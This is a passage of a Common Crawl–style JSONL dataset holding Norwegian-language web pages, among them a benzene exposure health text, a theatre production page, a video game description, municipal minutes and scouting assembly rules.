frigj\u00f8res bly og isocyanater.\")  \n\n 6  5. Prosess Prosessoperat\u00f8r R\u00e5olje \u2013 inneholder benzen (0,1-1 %) som er klassifisert som kreftfremkallende, arvestoffskadelig, giftig ved inn\u00e5nding, hudkontakt og svelging. L\u00f8semidler - virker utt\u00f8rkende p\u00e5 hud, kan gi hodepine og kvalme. Nerveskadelig p\u00e5 lang sikt (\\> 10 \u00e5r). Tas raskt opp via inn\u00e5nding og huden. Vedlikeholdspersonell (mekanikere, rengj\u00f8ringspersonell, inspekt\u00f8rer, borepersonell). Benzeneksponering kan ogs\u00e5 forekomme ved arbeidsoppgaver som \u00e5pning av utstyr og systemer (overf\u00f8ring, vedlikehold, pr\u00f8vetaking, inspeksjoner). Nye retningslinjer fra Norsk Olje og Gass: 131 Anbefalte retningslinjer for identifisering, vurdering, kontroll og oppf\u00f8lging av benzeneksponering. Her fortelles det om h\u00f8y eksponering relatert til \u00e5pning av utstyr og systemer, inkludert overf\u00f8ring, vedlikehold, rengj\u00f8ring av tanker, pr\u00f8vetaking og inspeksjoner.  som er klassifisert som kreftfremkallende, arvestoffskadelig, giftig ved inn\u00e5nding, hudkontakt og svelging. L\u00f8semidler - virker utt\u00f8rkende p\u00e5 hud, kan gi hodepine og kvalme. Nerveskadelig p\u00e5 lang sikt (\\> 10 \u00e5r). Tas raskt opp via inn\u00e5nding og huden. Vedlikeholdspersonell (mekanikere, rengj\u00f8ringspersonell, inspekt\u00f8rer, borepersonell). Benzeneksponering kan ogs\u00e5 forekomme ved arbeidsoppgaver som \u00e5pning av utstyr og systemer (overf\u00f8ring, vedlikehold, pr\u00f8vetaking, inspeksjoner). Nye retningslinjer fra Norsk Olje og Gass: 131 Anbefalte retningslinjer for identifisering, vurdering, kontroll og oppf\u00f8lging av benzeneksponering. Her fortelles det om h\u00f8y eksponering relatert til \u00e5pning av utstyr og systemer, inkludert overf\u00f8ring, vedlikehold, rengj\u00f8ring av tanker, pr\u00f8vetaking og inspeksjoner.\")  \n\n 7  **Se opp for symptomer som:**  \n", "language": "no", "__index_level_0__": "5693e78b-e230-451b-a2ca-b307ba5d27ed"}
{"url": "http://www.grotonopenmri.com/tan-ilse-jacobsen-hornb%C3%A6k-lang-struktur-strikket-sandfarvet-cardigan-med-trekvart-langt-%C3%A6rme-dame-bluserilse-jacobsen-spakreativ-p-665.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:09:48Z", "text": "**ilse jacobsen jakke dba Ilse Jacobsen Dame Bluser , Tan Ilse Jacobsen Hornb\u00e6k Lang struktur strikket sandfarvet cardigan med trekvart langt \u00e6rme Dame Bluser,ilse jacobsen spa,Kreativ ilse jacobsen jakke,salg fremm**  \n\nLang struktur strikket cardigan, i sand, med s\u00f8lvfarvede tr\u00e5de. Cardigan er lukket med en h\u00e6gt og har lommer foran. Lommer og halsudsk\u00e6ring er kantet med s\u00f8lvfarvet garn  \n  \nMaterialer: 70% akryl, 20% metal, 10% uld  \n  \nVaskeanvisning: H\u00e5ndvask\n\n  \n\n1\\. Your order is usually shipped out within 24-48 hours after your payment is received.  \n2\\. The tracking number of your parcel will be sent to you after your order is despatched. You may use the tracking number to check the status of your order online.  \n3\\. The shipping fee will be auto-added in the grand total when you send payment.\n\nChoose a ranking for this item. 1 star is the worst and 5 stars is the best.\n\n  \n", "language": "no", "__index_level_0__": "505f3554-665a-4631-b7a9-d5ae765c6b2b"}
{"url": "https://www.playstation.com/no-no/games/pes-2013-ps3/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00170.warc.gz", "warc_date": "2018-03-24T23:55:19Z", "text": "  - Balanser angrep og forsvar med ProActive AI som hjelper datakontrollerte spillere med \u00e5 finne plass og f\u00f8lge taktikk og utviklingen under kampen.\n\n\n\n### Det vakre spillet\n\nTa plass i rampelyset til verdens mest popul\u00e6re idrett med PES 13 p\u00e5 PlayStation 3. Konamis superstjerne introduserer deg for fotballens underverker med en rekke modi. Vil du spille en rask kamp? Da er Exhibition-modusen noe for deg.\n\nHvis du er ute etter noe litt st\u00f8rre, kan du opprette dine egne ligaer og cuper eller delta i de prestisjetunge turneringene UEFA Champions League og Copa Santander Libertadores i jakten p\u00e5 pokaler. I Football Life-modusen kan du lede et lag eller g\u00e5 ut p\u00e5 banen som en enkeltspiller.\n\nUansett hva du velger, gir PES 13 deg overbevisende og autentisk fotball. Spillerne viser forskjellige niv\u00e5er av glede eller skuffelse n\u00e5r de l\u00f8per, takler og skyter seg gjennom kampene. Og det er ikke bare spillerne som er detaljerte. Dommerne skriver notater i b\u00f8kene sine, kameramennene f\u00f8lger n\u00f8ye med p\u00e5 kampen og managerne g\u00e5r frem og tilbake p\u00e5 sidelinjen.\n\nAlt settes sammen med en stilig presentasjon i TV-stil, komplett med virkelige klipp og den velkjente UEFA Champions League-hymnen for \u00e5 f\u00e5 deg i riktig stemning. Glem ikke at du kan lagre de beste \u00f8yeblikkene dine som repriser og sole deg i glansen av ferdighetene dine n\u00e5r du vil.\n\n**G\u00e5 p\u00e5 m\u00e5l**\n\nHvis du noen gang har \u00f8nsket \u00e5 imponere Cristiano Ronaldo med ferdighetene dine eller h\u00e5ndtere Carles Puyol foran jublende tilskuere, da er PES 13 p\u00e5 PlayStation 3 det perfekte stedet for \u00e5 virkeliggj\u00f8re disse fotballfantasiene. Spillets introduksjon viser deg hvilke ferdigheter du kan utf\u00f8re med litt trening \u2013 og du f\u00e5r umiddelbart muligheten til \u00e5 l\u00e6re dem. Imponerende balldempingsteknikker, gode driblinger og raske angrep er noe av det du kan l\u00e6re deg.\n\nPES 13 er omfattende, s\u00e5 det l\u00f8nner seg \u00e5 trene, siden du blir bedre av \u00e5 spille s\u00e5 mye som mulig. Kommer du deg ikke forbi en vanskelig markeringsspiller? Hva med \u00e5 pr\u00f8ve \u00e5 sl\u00e5 ballen mellom beina hans? Har du problemer med \u00e5 finne ledig rom rundt 16-meteren n\u00e5r du mottar ballen? Da kan kanskje en lobb over motstanderen v\u00e6re l\u00f8sningen. Og hvis du forsvarer deg, m\u00e5 du s\u00f8rge for \u00e5 beregne taklingen riktig \u2013 hvis du f\u00f8ler at du ikke klarer det, kan du bruke pressknappen til \u00e5 f\u00e5 motstanderen over p\u00e5 sitt svakeste bein og tvinge frem en feil.\n\nI PES 13 kan alle disse bevegelsene bety forskjellen p\u00e5 en heroisk seier og et surt tap. T\u00e5lmodighet og et godt \u00f8ye for \u00e5pninger er viktige elementer for \u00e5 bryte ned et hardtarbeidende forsvar, og spillet gir deg mange muligheter \u00e5 oppn\u00e5 dette p\u00e5 under din kontroll.\n\nHvis du \u00f8nsker deg en st\u00f8rre utfordring, kan du pr\u00f8ve deg p\u00e5 Football Life, som gir deg muligheten til \u00e5 bygge opp en karriere som en spiller eller manager for favorittlaget ditt. Tilpass avatarens utseende, og kjemp deg til topps. Enten du er et fremadstormende fotballtalent eller en lovende trener, er det f\u00e5 ting som er mer tilfredsstillende enn \u00e5 score sitt f\u00f8rste m\u00e5l eller oppdage et nytt supertalent fra ungdomslaget. Gi det et fors\u00f8k, og gi alt du har.\n\n**Bli med i verdensligaen**\n\nIngen fotballspill er komplette uten venner, s\u00e5 PES 13 gir deg muligheten til \u00e5 nyte det vakre spillet sammen med venner, enten de er i samme rom eller p\u00e5 andre steder over hele verden.\n\nHvis du \u00f8nsker \u00e5 begynne med lokal fotball, kan du opprette en vennskapskamp eller turnering med opptil seks andre spillere. Du kan gj\u00f8re det hele mer spennende ved \u00e5 plassere spillerne p\u00e5 to forskjellige lag eller gi alle spillerne et lag hver i en st\u00f8rre konkurranse. Skreddersy favorittroppene dine etter eget \u00f8nske med Edit-alternativet, velg din beste formasjon og taktikk, og kom deg ut p\u00e5 banen.\n\nN\u00e5r du er klar for \u00e5 m\u00f8te hele verden, kan du g\u00e5 online med PES 13 via PlayStation Network for \u00e5 m\u00f8te noen av de beste spillerne som finnes innen videospillfotball. Velg \u00e5 delta i en rekke tilpassede turneringer og delta i spennende enkeltkamper for moro skyld for \u00e5 \u00f8ke den globale rangeringen din. Opptil tre venner kan sl\u00e5 seg sammen med deg hvis dere \u00f8nsker \u00e5 spille som et lag.\n\nGj\u00f8r det hele mer interessant ved \u00e5 bli med i Master League Online-modusen, der du deltar i et overgangsmarked online i spillet og setter sammen din egen tropp. Gj\u00f8r deg klar for \u00e5 handle og finne skjulte talenter, ta del i kamper, og klatre oppover p\u00e5 rangeringstabellen. Dette er m\u00e5ten du kan oppleve alle oppturene og nedturene med PES 13 online, enten du spiller i kampene selv eller leder laget fra sidelinjen. Det er en usl\u00e5elig f\u00f8lelse \u00e5 se laget sitt bli det beste \u2013 s\u00e5 g\u00e5 ut p\u00e5 banen for \u00e5 vise verden hvor god du er.\n\n", "language": "no", "__index_level_0__": "ce973def-b314-4c93-a06d-ffceeaea369e"}
{"url": "https://trondelag-teater.no/forestillinger/2011-rrw/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:44:33Z", "text": "# Rock'n Roll Wolf\n\nBasert p\u00e5 en filmmusikal av Elisabeta Bostan, Temistocle Popa og Gerard Bourgeois\n\n25.3.11 - 18.6.11 | Hovedscenen\n\n#### PRISER\nOrdin\u00e6r: 350,-\nHonn\u00f8r: 275,-\n**Musikere:**  \n\u00c5smund Flaten / Kyrre Havdal  \nTrond Kopperud / Magnus Forsberg  \nErlend Smal\u00e5s  \n\u00d8yvind F. Smidt / Morten H\u00f8l\u00e5s  \nJovan Pavlovic / Berit Lillevold  \nK\u00e5re Kolve / Erlend Jentoft\n\n***Rock'n Roll Wolf* er en fargesprakende eksplosjon av en musikal basert p\u00e5 en av Europas st\u00f8rste filmsuksesser. Her er det bare \u00e5 ta med hele familien i teatret, spenne seg fast i teatersetene og la det st\u00e5 til, for dette blir g\u00f8y\\!**\n\nHvem husker ikke den popul\u00e6re 70-tallsfilmen om rockeulven og de syv geitekillingene? Filmen med originaltittel *Mama* gikk sin seiersgang over hele det europeiske kontinentet p\u00e5 slutten av 70-tallet og 80-tallet. I Norge har filmen for lengst f\u00e5tt kultstatus med egen fanklubb, og den blir vist p\u00e5 NRK med jevne mellomrom under tittelen *Med Grimm og Gru*.\n\nN\u00e5r Tr\u00f8ndelag Teater n\u00e5 tar tak i dette materialet s\u00e5 er det, i alle fall i f\u00f8lge de rumenske rettighetshaverne, som det f\u00f8rste profesjonelle teatret i verden\\! Og vi har tenkt \u00e5 gj\u00f8re det vanskelig for andre teatre \u00e5 overg\u00e5 oss. *Rock'n Roll Wolf* er den st\u00f8rste satsningen p\u00e5 Tr\u00f8ndelag Teater p\u00e5 flere \u00e5r, og vi vil lage en stor og eventyrlig musikalforestilling for hele familien \u2013 en forestilling det vil g\u00e5 gjetord (for ikke \u00e5 si geitord\u2026) om i \u00e5revis.\n\nMed *Rock'n Roll Wolf* forvandles Hovedscenen til en stor eventyrskog, og hele teatrets ensemble forvandles til dyr i alle fasonger og varianter. Musikken fra originalverket er med, og fremf\u00f8res av et solid orkester som ogs\u00e5 inng\u00e5r blant skogens mange innbyggere. I sentrum av dette spektakul\u00e6re universet m\u00f8ter vi en snill og varm geitemamma som dr\u00f8mmer om fest og moro, og en ensom og rocka, og veldig, veldig sulten ulv\u2026\n\n\u00a0\n\n#### VARIGHET\n\n2 timer 30 minutter inkludert pause\n\n#### ANSVARLIGE\n\nBasert p\u00e5 en filmmusikal av Elisabeta Bostan, Temistocle Popa og Gerard Bourgeois,  \ndramatisert av Tyra T\u00f8nnessen og Ragnar Olsen\n\n**Regi** Tyra T\u00f8nnessen  \n**Scenografi og kostymer** Dagny Drage Kleiva  \n**Koreografi** Jonas Digerud  \n**Lysdesign** Eivind Myren  \n**Masker** Else Lis\u00f8  \n**Musikalsk leder og arrang\u00f8r** \u00c5smund Flaten\n\nMedvirkende\n\n\n\nKine Bendixen\n\n\n\nIngrid Bergstr\u00f8m\n\n\n\nJan Erik Berntsen\n\n\n\nMads Bones\n\n\nHanna Seth Johnsen  \nJulie Stokke  \nFilip Brodal T\u00f8ndelstrand  \nAda Bull  \nLovise Espolin Hals  \nGunhild Gj\u00f8sund Kleppen  \nThea Bjerkan  \nBorgar Ringkj\u00f8b Skjelstad  \nMarie Gj\u00f8sund Kleppen\n\n\u00a0\n**Musikere:**  \n\u00c5smund Flaten / Kyrre Havdal  \nTrond Kopperud / Magnus Forsberg  \nErlend Smal\u00e5s  \n\u00d8yvind F. Smidt / Morten H\u00f8l\u00e5s  \nJovan Pavlovic / Berit Lillevold  \nK\u00e5re Kolve / Erlend Jentoft\n\nHva pressen skriver\n\n\u2013 Dette er en fantastisk forestilling  \n\u2013 Engasjementet, gleden og ikke minst dyktigheten til skuespillerne er p\u00e5 toppniv\u00e5. Det samme gjelder musikkensemblet, scenografien og lyssettlingen. Forestillingen er perfekt.  \n\u2013 Latteren satt l\u00f8st hos publikum. Det samme med gr\u00e5ten, frykten og entusiasmen  \n*Monica Ir\u00e9n Solberg Susegg*  \n**Tr\u00f8nder-Avisa**\n\n\u00a0\n\u2013 *Rock'n Roll Wolf* imponerer p\u00e5 Tr\u00f8ndelag Teater  \n\u2013 Scenen og dyra i den er en studie verd  \n\u2013 Musikalen er artig, den har kvalitet og den er r\u00f8rende  \n*Lars Erik Skj\u00e6rseth*  \n**NRK**\n\n\u00a0\n\u2013 Et overfylt kremmerhus med teatergodter  \n*Martin Nordvik*  \n**Aftenposten**\n\n\u00a0\n\u2013 Eit eventyrleg eventyr\\!  \n\u2013 *Rock'n Roll Wolf* er blitt ei heilst\u00f8pt oppsetting som har s\u00e5 godt som alt. Ho er underhaldande, artig, spektakul\u00e6r, velspela, godt koreografert, full av vakre songar, og har i tillegg ei historie med uendeleg mange lag  \n*Amund Grimstad*  \n**Klassekampen**\n\n# Rock'n Roll Wolf\n\nBasert p\u00e5 en filmmusikal av Elisabeta Bostan, Temistocle Popa og Gerard Bourgeois\n\n\n\n**Hovedscenen**  \n25.3.11 - 18.6.11\n\n**Ordin\u00e6r:** 350,-\n\n**Honn\u00f8r:** 275,-\n\n**Barn/Student:** 200,-\n\n**Grupper over 10:** 275,-\n\nVARIGHET\n\n2 timer 30 minutter inkludert pause\n\nBasert p\u00e5 en filmmusikal av Elisabeta Bostan, Temistocle Popa og Gerard Bourgeois,  \ndramatisert av Tyra T\u00f8nnessen og Ragnar Olsen\n\n**Regi** Tyra T\u00f8nnessen  \n**Scenografi og kostymer** Dagny Drage Kleiva  \n**Koreografi** Jonas Digerud  \n**Lysdesign** Eivind Myren  \n**Masker** Else Lis\u00f8  \n**Musikalsk leder og arrang\u00f8r** \u00c5smund Flaten\n\n\n\n", "language": "no", "__index_level_0__": "1111e24b-555f-4d99-9873-b4fb9c9cb7cf"}
{"url": "https://no.hotels.com/de10383610/hoteller-kobona-russland/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:58:21Z", "text": "## Leter du etter hotell i Kobona?\n\n### Her b\u00f8r du bo i Kobona\n\nKobona er en by der du f\u00f8ler deg velkommen, og et sted hvor du vil kunne finne mange ulike hoteller og andre overnattingssteder. Vi har 2 overnattingssteder med rompriser fra NOK 219 per natt. Noen av disse har rabatt p\u00e5 opptil 10 %.\n\n### Det beste tidspunktet \u00e5 bes\u00f8ke Kobona p\u00e5\n\nN\u00e5r du har tenkt \u00e5 legge opp reisen din, kan det v\u00e6re du vil vite hvilken tid p\u00e5 \u00e5ret det er best \u00e5 bes\u00f8ke omr\u00e5det. Her finner du litt informasjon om temperaturen per \u00e5rstid, som en guide til planleggingen.  \n  \n**Gjennomsnittstemperaturer**\n\n  - \u2022 Fra januar til mars: 3\u00b0C p\u00e5 dagen, -13\u00b0C p\u00e5 natten\n  - \u2022 Fra april til juni: 20\u00b0C p\u00e5 dagen, -4\u00b0C p\u00e5 natten\n  - \u2022 Fra juli til september: 21\u00b0C p\u00e5 dagen, 5\u00b0C p\u00e5 dagen\n  - \u2022 Fra oktober til desember: 11\u00b0C p\u00e5 dagen, -11\u00b0C p\u00e5 natten\n\n**Gjennomsnittlig nedb\u00f8r**\n\n  - \u2022 Fra januar til mars: 98 mm\n  - \u2022 Fra april til juni: 138 mm\n  - \u2022 Fra juli til september: 211 mm\n  - \u2022 Fra oktober til desember: 164 mm\n\n", "language": "no", "__index_level_0__": "a3c32f90-9ca6-49b6-bc56-8778cbe7a5e2"}
{"url": "https://www.stavangerkulturskole.no/musikk/bandskolen", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:09:14Z", "text": "\n\n#  Bandskolen \n\nBandskolen er et tilbud til instrumental- og vokalelever i Stavanger kulturskole som \u00f8nsker \u00e5 spille i band. Dersom du ikke er instrumental- eller vokalelev hos oss men har eller har hatt privatundervisning ber vi deg oppgi l\u00e6rer og hvor lenge du har spilt n\u00e5r du s\u00f8ker.\n\n\u00a0\n**Instrumentene det undervises p\u00e5 er**:\n\n**Gitar, bassgitar, trommer, keyboard/piano, tre- og messingbl\u00e5s\u00a0og sang.\u00a0**\n\nAndre instrumentgrupper anbefales \u00e5 s\u00f8ke, og s\u00e5 vil tilbudet utvides til \u00e5 ogs\u00e5 omfatte disse dersom det lar seg gj\u00f8re.\n\nDet er et begrenset antall plasser\u00a0i Bandskolen, og opptak vil skje p\u00e5 grunnlag av bandsammensetning og l\u00e6rernes vurdering.\u00a0\n\n\u00a0\nBandene i Bandskolen deltar i l\u00f8pet av \u00e5ret p\u00e5 flere spennende prosjekter. De vil f\u00e5 mulighet til \u00e5 jobbe mot konkrete prosjekter, samt fokusere p\u00e5 \u00f8vingsmetoder og prosesser som gir resultater i forhold til mer langsiktige m\u00e5l, b\u00e5de individuelt og som gruppe.\n\n\u00a0\nDu kan s\u00f8ke p\u00e5 bandskolen selv om du spiller et annet instrument, under forutsetning av at du mottar undervisning p\u00e5 instrumentet og har mulighet til \u00e5 f\u00e5 veiledning i forhold til det materialet vi arbeider med i bandskolen. Nedre aldersgrense er 11 \u00e5r, og all bandundervisning foreg\u00e5r p\u00e5 onsdager.\u00a0\n\n\u00a0\n**Bandskolens l\u00e6rere:**\u00a0\n\nMorten Askildsen og Oscar Alvestad\u00a0(gitar),\u00a0  \nThomas Bang (bassgitar),  \nJohannes Ulveraker (trommer),  \nAdrian Tvedten (keyboard / piano)\u00a0  \nIngvill Mundal (sang).\n\nN\u00e5r du melder deg p\u00e5 m\u00e5 du huske \u00e5 skrive hvilket instrument du spiller.\u00a0\n\n\u00a0\n", "language": "no", "__index_level_0__": "bb2404eb-1dda-49fc-9eaf-4b2f0ddc902b"}
{"url": "http://docplayer.me/28148286-Moteprotokoll-kontrollutvalget-i-snillfjord-kommune.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-25T00:27:16Z", "text": "2 Sak 013/12 - Godkjenning av protokoll fra m\u00f8te den M\u00f8teprotokoll fra kontrollutvalgets m\u00f8te godkjennes. M\u00f8teprotokoll fra kontrollutvalgets m\u00f8te godkjennes. Sak 014/12 - Regnskap og revisjonsberetning for Kontrollutvalgets uttalelse Kontrollutvalgets uttalelse vedr\u00f8rende Snillfjord kommunes \u00e5rsregnskap for 2011 oversendes kommunestyret. Kopi sendes formannskapet f\u00f8r de foretar innstilling i regnskapssaken. Kai Terje Dretvik, r\u00e5dmann og May H\u00e5rstad Lian, \u00f8konomileder, ga en orientering om \u00e5rsberetningen og regnskapet for Inge Stor\u00e5s, daglig leder Revisjon Midt-Norge IKS, ga en orientering om revisors arbeid vedr. \u00e5rsregnskapet for Inge Stor\u00e5s, r\u00e5dmannen og \u00f8konomileder svarte p\u00e5 sp\u00f8rsm\u00e5l fra kontrollutvalget. F\u00f8lgende omforent forslag til endring i kontrollutvalgets uttalelse i avsnitt 3, siste setning: Under henvisning til revisors opplysning, under avsnittet Andre forhold i revisjonsberetningen om for sent avlagt \u00e5rsregnskap og \u00e5rsberetning, forutsetter kontrollutvalget at \u00e5rsregnskapet avlegges rettidig i kommende \u00e5r. Innstillingen med endring i kontrollutvalgets uttalelse ble enstemmig vedtatt. Kontrollutvalgets uttalelse vedr\u00f8rende Snillfjord kommunes \u00e5rsregnskap for 2011 oversendes kommunestyret. Kopi sendes formannskapet f\u00f8r de foretar innstilling i regnskapssaken.\n\n\n", "language": "no", "__index_level_0__": "d12bb15e-a39b-4983-9329-d4f37ba33e89"}
{"url": "https://norway.husse.com/hund/dry-food-for-dogs/super-premium/puppy", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:36:05Z", "text": "# Valp\n\nValper har unike n\u00e6ringsmessige behov under oppveksten. Derfor har Husse utviklet et bredt spekter av valpef\u00f4r som gir valpen de ekstra n\u00e6ringsstoffene, vitaminene og mineralene som den trenger. Valp, Valp Mini og Valp Maxi passer som en startpakke for valper fra de er over 3 uker gamle og som komplett f\u00f4r fra de er 4 uker og ut i voksenlivet.\n\n", "language": "no", "__index_level_0__": "b907a912-8d66-4827-ae4d-d30457089782"}
{"url": "https://www.regjeringen.no/no/dokumenter/horing---forslag-til-endringer-i-utlendi/id611278/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:51:31Z", "text": "# H\u00f8ring - Forslag til endringer i utlendingsloven og utlendingsforskriften (fjerning av uttrykket \"rase\" fra flyktningbestemmelsene, regulering av adgangen til frivillig arbeid, tidligere forh\u00e5ndsvarsel i utvisningssaker mv.)\n\nH\u00f8ring | Dato: 09.07.2010  | Justis- og beredskapsdepartementet \n\nOpprinnelig utgitt av: Justis- og politidepartementet\n\n**Status:** Ferdigbehandlet\n\n**H\u00f8ringsfrist:** 08.10.2010\n\n  - ## H\u00f8ringsbrev\n    \n    V\u00e5r ref.: 201008351- /RDA\n    \n    Justisdepartementet sender med dette p\u00e5 h\u00f8ring et forslag til endringer i utlendingsloven og utlendingsforskriften. Endringsforslagene gjelder:\n    \n    En utskifting av uttrykket \"rase\" i utlendingslovens regler om beskyttelse.\n    \n    En ny regulering i utlendingsforskriften om adgangen for asyls\u00f8kere og andre uten oppholdstillatelse til \u00e5 delta i frivillig ul\u00f8nnet arbeid for humanit\u00e6re organisasjoner mv.\n    \n    Et forslag til bestemmelse i utlendingsforskriften om at forh\u00e5ndsvarsel om utvisning kan sendes utlendingen s\u00e5 snart det er tatt ut tiltale i straffesaken.\n    \n    En ny bestemmelse i utlendingsforskriften om at melding til fengselet om utvisning, jf. utlendingsforskriften \u00a7 14-5 tredje ledd, skal skje ved oversendelse av vedtak i utvisningssaken.\n    \n    Liste over h\u00f8ringsinstansene f\u00f8lger vedlagt. H\u00f8ringsinstansene bes vurdere om forslagene ogs\u00e5 b\u00f8r forelegges underordnede organer.\n    \n    Eventuell uttalelse til forslagene bes sendt Just- og politidepartementet, Innvandringsavdelingen, Postboks 8005 Dep, 0030 Oslo, innen **8. oktober 2010**. Det bes om at eventuelle uttalelser i tillegg sendes per e-post (helst i word-format) til fagdirekt\u00f8r Kenneth A. Baklund p\u00e5 adressen firstname.lastname@example.org. Eventuelle sp\u00f8rsm\u00e5l kan rettes p\u00e5 telefon til:\n    \n", "language": "no", "__index_level_0__": "8d2e2708-1c49-42f9-bcfc-44344b712bb5"}
{"url": "https://www.mannhullet.no/gruppe/6/1", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:13:01Z", "text": "# MANNHULLET\n# Motorb\u00e5tkomiteen\n\n### Om Motorb\u00e5tkomiteen\n\n\u00a0\n\nHelt siden 1947 har Mannhullet hatt sin egen motorb\u00e5t, og Motorb\u00e5tkomitten (MBK) har helt siden den gang, st\u00e5tt for driften av b\u00e5tene.\n\n\u00a0\nDet hele startet med et gammelt tysk fart\u00f8y fra krigen som fikk navnet Havfruen. Dagens b\u00e5t er nummer fem i rekken og b\u00e6rer f\u00f8lgelig navnet Havfruen V. Denne flotte fruen er en Jeanneau Marlin 755, som kan skilte med estetiske 23 fot og en overbords motor p\u00e5 hele 150hk. Dette gir Havfruen V en marsjfart p\u00e5 rolige 20 knop og en toppfart i n\u00e6rheten av 30 knop\\! Det er plass til 8 stk om bord, og b\u00e5ten kan brukes til alt fra wakesurfing, vannski, fisking, bading, en aldri s\u00e5 liten luftetur p\u00e5 Trondheimsfjorden eller kanskje ogs\u00e5 en og annen kj\u00e6rlighetstur p\u00e5 fjorden?\n\n\u00a0\nMotorb\u00e5tkomit\u00e9en sine oppgaver orienteres rundt drift og veldikehold av b\u00e5ten, og \u00e5 arrangere kurs for studentene v\u00e5re slik at de kan nytte b\u00e5ten p\u00e5 egenh\u00e5nd. I tillegg til dette arrangeres ogs\u00e5 en og annen fisketur for den menige mannhullitt.\u00a0\n\n\u00a0\u00a0\nVi jobber for at flest mulig av studentene p\u00e5 Marin Teknikk b\u00e5de skal f\u00e5 lyst og mulighet til \u00e5 benytte seg av denne fantastiske b\u00e5ten vi er s\u00e5 heldige \u00e5 ha.\n\n## Utleie\n\nHer kan du reservere dagsl\u00e5n av Havfruen V.\n\nFor l\u00e5n som varer lenger enn 24 timer eller strekker seg forbi midnatt, kontakt MBK s\u00e5 vil vi legge det inn i systemet.\n\nUtleie er kun for studenter pga. forsikringen. Leier du den etter endt studie kan vi ikke garantere at forsikringen gjelder for deg.\n\nNB: det er ingen angremuligheter, i det du trykker p\u00e5 \"Send\" blir reservasjonen lagret. Dersom reservasjoner \u00f8nskes slettet, kontakt MBK.\n\nIn English: Here you can book the Havfruen V.\n\nFor loans that last longer than 24 hours or extend past midnight, please contact MBK and we will add it into the system.\n\nIt is only possible for students to rent the boat because the insurance is just for students.\u00a0\n\nNB\\! If you press \"Submit\" the reservation will be saved. If you want to cancel your reservation you have to contact MBK.\n\n\u00a0\nMan m\u00e5 v\u00e6re innlogget for \u00e5 reservere b\u00e5t.\n\n\u00a0\n", "language": "no", "__index_level_0__": "e07e291f-396a-497e-863c-9ebbb04be864"}
{"url": "http://docplayer.me/7927152-Vesterlen-krets-av-nsf-arsmote-i-kretsting-2008-sakspapirer-pr-30-01-2012-saksliste-1-apning.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-25T00:27:03Z", "text": "2 2 Konstituering 2.1 Godkjenning av representantene Liste over representantene vil bli lagt fram p\u00e5 tinget. 2.2 Godkjenning av tellekorps Bryne speidergruppe. (Ansvarlig fremmes p\u00e5 tinget.) Kretsstyret innstiller: Tellekorpset godkjennes 2.3 Valg av to referenter Kretsstyret innstiller: Eli Godeseth og Wenche Havn 2.4 Valg av to delegater til \u00e5 underskrive protokollen Kretsstyret innstiller: Liv Margareth Aksland og Rolf Christian Bergheim. 2.5 Godkjenning av innkalling og saksliste Kretsstyret innstiller: Innkalling og saksliste godkjennes 2\n\n\n\n3 2.6 Forretningsorden Kretstinget ledes av de valgte m\u00f8teledere. Registrering av delegater foreg\u00e5r kun f\u00f8r Kretstinget starter, og i pauser under tinget Protokoll f\u00f8res av to valgte referenter. Den undertegnes av m\u00f8telederne, de to valgte delegatene og m\u00f8tereferentene Ingen representanter har rett til ordet mer enn to ganger i samme sak, med unntak av forslagsstilleren. Representanter som forlanger ordet til forretningsorden \\*1), har rett til ett minutts taletid. M\u00f8telederen har rett til \u00e5 foresl\u00e5 avkorting av taletiden og foresl\u00e5 strek \\*2) med de inntegnede talere. Registrerte observat\u00f8rer og kretssekret\u00e6r har talerett. M\u00f8teleder kan foresl\u00e5 \u00e5 innskrenke denne Alle forslag m\u00e5 innleveres skriftlig til m\u00f8telederne, undertegnet med representantens navn og nummer. Nye forslag kan ikke legges frem etter at strek er satt og fremsatte forslag kan da ikke trekkes tilbake. Saker som ikke st\u00e5r p\u00e5 sakslisten kan ikke fremmes Alle forslag avgj\u00f8res ved flertall av de avgitte stemmer. Blanke stemmer telles ikke med. Ved stemmelikhet anses forslaget som falt. Alle valg avgj\u00f8res ved alminnelig flertall, (kan v\u00e6re mindre enn halvparten, men flere stemmer enn nestemann, blanke stemmer teller ikke med). Alle valg foreg\u00e5r skriftlig n\u00e5r det er mer enn \u00e9n kandidat, eller n\u00e5r \u00e9n av representantene forlanger det. Ved omvalg strykes inntil to kandidater (de to med minst stemmer fra siste valgrunde). Det m\u00e5 v\u00e6re igjen minst en kandidat mer enn det som skal velges. Ved stemmelikhet mellom to kandidater, avgj\u00f8res valget ved loddtrekning etter 2. valgrunde med stemmelikhet. Det kan ikke stilles benkeforslag ved valg bortsett fra valg til speiderforum og roverforum, hvor det tillates benkeforslag p\u00e5 tingets deltagere. De som er med i tellekorps b\u00f8r ikke ha stemmerett (teknisk arrang\u00f8r skaffer tellekorps) I protokollen f\u00f8res inn alle forslag og de vedtak som blir gjort, med antall stemmer for og imot. Likeledes innf\u00f8res i protokollen navnene p\u00e5 de representanter som har hatt ordet under de forskjellige saker Protokoll fra kretstinget trykkes i Nytt fra Vesterlen og distribueres til alle tingets delegater Kretstingets m\u00f8te er \u00e5pent for alle interesserte. 